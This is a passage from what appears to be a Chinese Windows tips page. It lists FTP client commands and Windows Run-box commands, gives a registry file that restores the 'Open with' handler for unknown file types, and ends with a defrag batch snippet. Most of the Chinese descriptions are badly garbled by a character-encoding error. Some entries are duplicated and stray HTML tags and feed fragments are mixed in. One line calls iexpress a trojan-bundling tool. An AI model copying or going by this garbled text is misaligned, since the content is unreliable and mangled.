14.crQ用asscii方式传输文gӞ回车换行{换ؓ回行?br />
15.delete remote-fileQ删除远E主机文件?
16.debug[debug-value]Q设|调试方式， 昄发送至q程L的每条命令，如：deb up 3Q若设ؓ0Q表C取消debug?br />
17.dir[remote-dir][local-file]Q显CE主机目录，q将l果存入本地文g?
18.disconnectionQ同close?br />
19.form formatQ将文g传输方式讄为formatQ缺省ؓfile方式?
20.get remote-file[local-file]Q?远E主机的文gremote-file传至本地盘的local-file?br />
21.globQ设|mdeleteQmgetQmput的文件名扩展Q缺省时不扩展文件名Q同命o行的-g参数?
22.hashQ每传输1024字节Q显CZ个hashW号(#)?br />
23.help[cmd]Q显Cftp内部命ocmd的帮助信息，如：help get?
24.idle[seconds]Q将q程服务器的休眠计时器设为[seconds]U?br />
25.imageQ设|二q制传输方式(同binary)?
26.lcd[dir]Q将本地工作目录切换至dir?br />
27.ls[remote-dir][local-file]Q显CE目录remote-dirQ?q存入本地文件local-file?
28.macdef macro-nameQ定义一个宏Q遇到macdef下的IӞ宏定义结束?br />
29.mdelete[remote-file]Q删除远E主机文件?
30.mdir remote-files local-fileQ与dircMQ但可指定多个远E文Ӟ?Qmdir *.o.*.zipoutfile ?br />
31.mget remote-filesQ传输多个远E文件?
32.mkdir dir-nameQ在q程L中徏一目录?br />
33.mls remote-file local-fileQ同nlistQ但可指定多个文件名?
34.mode[modename]Q将文g传输方式讄为modenameQ?~省为stream方式?br />
35.modtime file-nameQ显CE主机文件的最后修Ҏ间?
36.mput local-fileQ将多个文g传输臌E主机?br />
37.newer file-nameQ?如果q程Zfile-name的修Ҏ间比本地盘同名文g的时间更q，则重传该文g?br /> 38.nlist[remote-dir][local-file]Q显CE主机目录的文g清单Qƈ存入本地盘的local-file?br />
39.nmap[inpattern outpattern]Q设|文件名映射机制Q?使得文g传输Ӟ文g中的某些字符怺转换Q?如：nmap $1.$2.$3[$1Q?2].[$2Q?3]Q则传输文ga1.a2.a3Ӟ文g名变为a1Qa2?该命令特别适用于远E主Zؓ非UNIX机的情况?br /> 40.ntrans[inchars[outchars]]Q设|文件名字符的翻译机Ӟ如ntrans1RQ则文g名LLL变为RRR?br />
41.open host[port]Q徏立指定ftp服务器连接，可指定连接端口?
42.passiveQ进入被动传输方式?br />
43.promptQ设|多个文件传输时的交互提C?
44.proxy ftp-cmdQ在ơ要控制q接中，执行一条ftp命oQ?该命令允许连接两个ftp服务器，以在两个服务器间传输文g。第一条ftp命o必须为openQ以首先建立两个服务器间的连接?br /> 45.put local-file[remote-file]Q将本地文glocal-file传送至q程L?
46.pwdQ显CE主机的当前工作目录?br />
47.quitQ同byeQ退出ftp会话?
48.quote arg1Qarg2...Q将参数逐字发至q程ftp服务器，如：quote syst.
49.recv remote-file[local-file]Q同get?
50.reget remote-file[local-file]Q类ggetQ?但若local-file存在Q则从上ơ传输中断处l传?br />
51.rhelp[cmd-name]Q请求获得远E主机的帮助?
52.rstatus[file-name]Q若未指定文件名Q则昄q程L的状态， 否则昄文g状态?br />
53.rename[from][to]Q更改远E主机文件名?
54.resetQ清除回{队列?br />
55.restart markerQ从指定的标志marker处，重新开始get或putQ如Qrestart 130?
56.rmdir dir-nameQ删除远E主机目录?br />
57.runiqueQ设|文件名只一性存储，若文件存在，则在原文件后加后~.1Q?.2{?
58.send local-file[remote-file]Q同put?br />
59.sendportQ设|PORT命o的用?
60.site arg1Qarg2...Q将参数作ؓSITE命o逐字发送至q程ftpL?br />
61.size file-nameQ显CE主机文件大，如：site idle 7200?
62.statusQ显C当前ftp状态。www.jz5u.com
63.struct[struct-name]Q将文g传输l构讄为struct-nameQ?~省时用streaml构?
64.suniqueQ将q程L文g名存储设|ؓ只一(与runique对应)?br />
65.systemQ显CE主机的操作pȝcd?
66.tenexQ将文g传输cd讄为TENEX机的所需的类型?br />
67.tickQ设|传输时的字节计数器?
68.traceQ设|包跟踪?br />
69.type[type-name]Q设|文件传输类型ؓtype-nameQ缺省ؓasciiQ如:type binaryQ设|二q制传输方式?
70.umask[newmask]Q将q程服务器的~省umask讄为newmaskQ如Qumask 3
71.user user-name[password][account]Q向q程L表明自己的n份，需要口令时Q必输入口令，如：user anonymous my@email?
72.verboseQ同命o行的-v参数Q即讄详尽报告方式Qftp 服务器的所有响 应都显C给用户Q缺省ؓon.
73.?[cmd]Q同help.
#11 十一Q?br />
7Q计机q行命o全集 winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
wscript--------windows脚本宿主讄
write----------写字板winmsd-----pȝ信息
wiaacmgr-------扫描仪和照相机向?br /> winchat--------XP自带局域网聊天
mem.exe--------昄内存使用情况
Msconfig.exe---pȝ配置实用E序
mplayer2-------易widnows media player
mspaint--------d?br /> mstsc----------q程桌面q接
mplayer2-------媒体播放?br /> magnify--------攑֤镜实用程?br /> mmc------------打开控制?br /> mobsync--------同步命o
dxdiag---------查DirectX信息
drwtsn32------ pȝȝ
devmgmt.msc--- 讑֤理?br /> dfrg.msc-------盘片整理E序
diskmgmt.msc---盘理实用E序
dcomcnfg-------打开pȝlg服务
ddeshare-------打开DDE׃n讄
dvdplay--------DVD播放?br /> net stop messenger-----停止信服务
net start messenger----开始信使服?
notepad--------打开C?br /> nslookup-------|络理的工具向?br /> ntbackup-------pȝ备䆾和还?br /> narrator-------屏幕"讲述?
ntmsmgr.msc----Ud存储理?br /> ntmsoprq.msc---Ud存储理员操作请?br /> netstat -an----(TC)命o查接?br /> syncapp--------创徏一个公文包
sysedit--------pȝ配置~辑?br /> sigverif-------文g{验证E序
sndrec32-------录音?br /> shrpubw--------创徏׃n文g?br /> secpol.msc-----本地安全{略
syskey---------pȝ加密Q一旦加密就不能解开Q保护windows xppȝ的双重密?br /> services.msc---本地服务讄
Sndvol32-------音量控制E序
sfc.exe--------pȝ文g查器
sfc /scannow---windows文g保护
tsshutdn-------60U倒计时关机命?br /> tourstart------xp介（安装完成后出现的漫游xpE序Q?br /> taskmgr--------d理?br /> eventvwr-------事g查看?br /> eudcedit-------造字E序
explorer-------打开资源理?br /> packager-------对象包装E序
perfmon.msc----计算机性能监测E序
progman--------E序理?br /> regedit.exe----注册?
rsop.msc-------l策略结果集
regedt32-------注册表编辑器
rononce -p ----15U关?br /> regsvr32 /u *.dll----停止dll文gq行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命o提示W?br /> chkdsk.exe-----Chkdsk盘?br /> certmgr.msc----证书理实用E序
calc-----------启动计算?br /> charmap--------启动字符映射?br /> cliconfg-------SQL SERVER 客户端网l实用程?br /> Clipbrd--------剪脓板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管?br /> cleanmgr-------**整理
ciadv.msc------索引服务E序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----查XP是否Ȁz?br /> lusrmgr.msc----本机用户和组
logoff---------注销命o
iexpress-------木马捆绑工具Q系l自?br /> Nslookup-------IP地址侦测?br /> fsmgmt.msc-----׃n文g夹管理器
utilman--------辅助工具理?br /> gpedit.msc-----l策?br />
]]>
[HKEY_CLASSES_ROOT"Unknown]
"AlwaysShowExt"=""
"QueryClassStore"=""
[HKEY_CLASSES_ROOT"Unknown"shell]
@="openas"
[HKEY_CLASSES_ROOT"Unknown"shell"openas]
[HKEY_CLASSES_ROOT"Unknown"shell"openas"command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,"
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,75,00,"
6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,00,20,00,25,00,53,"
00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,00,5c,00,73,00,"
79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,65,00,6c,00,6c,"
00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,4f,00,70,00,65,00,6e,00,41,00,"
73,00,5f,00,52,00,75,00,6e,00,44,00,4c,00,4c,00,20,00,25,00,31,00,00,00
-------------------------------------------------------------------------------------------------
把以上内容存?.reg双击注册OK?br />
]]>
defrag d: /f /v
defrag e: /f /v
defrag f: /f /v
:
:
:
写在一个bat文g中，双击卛_q行
]]>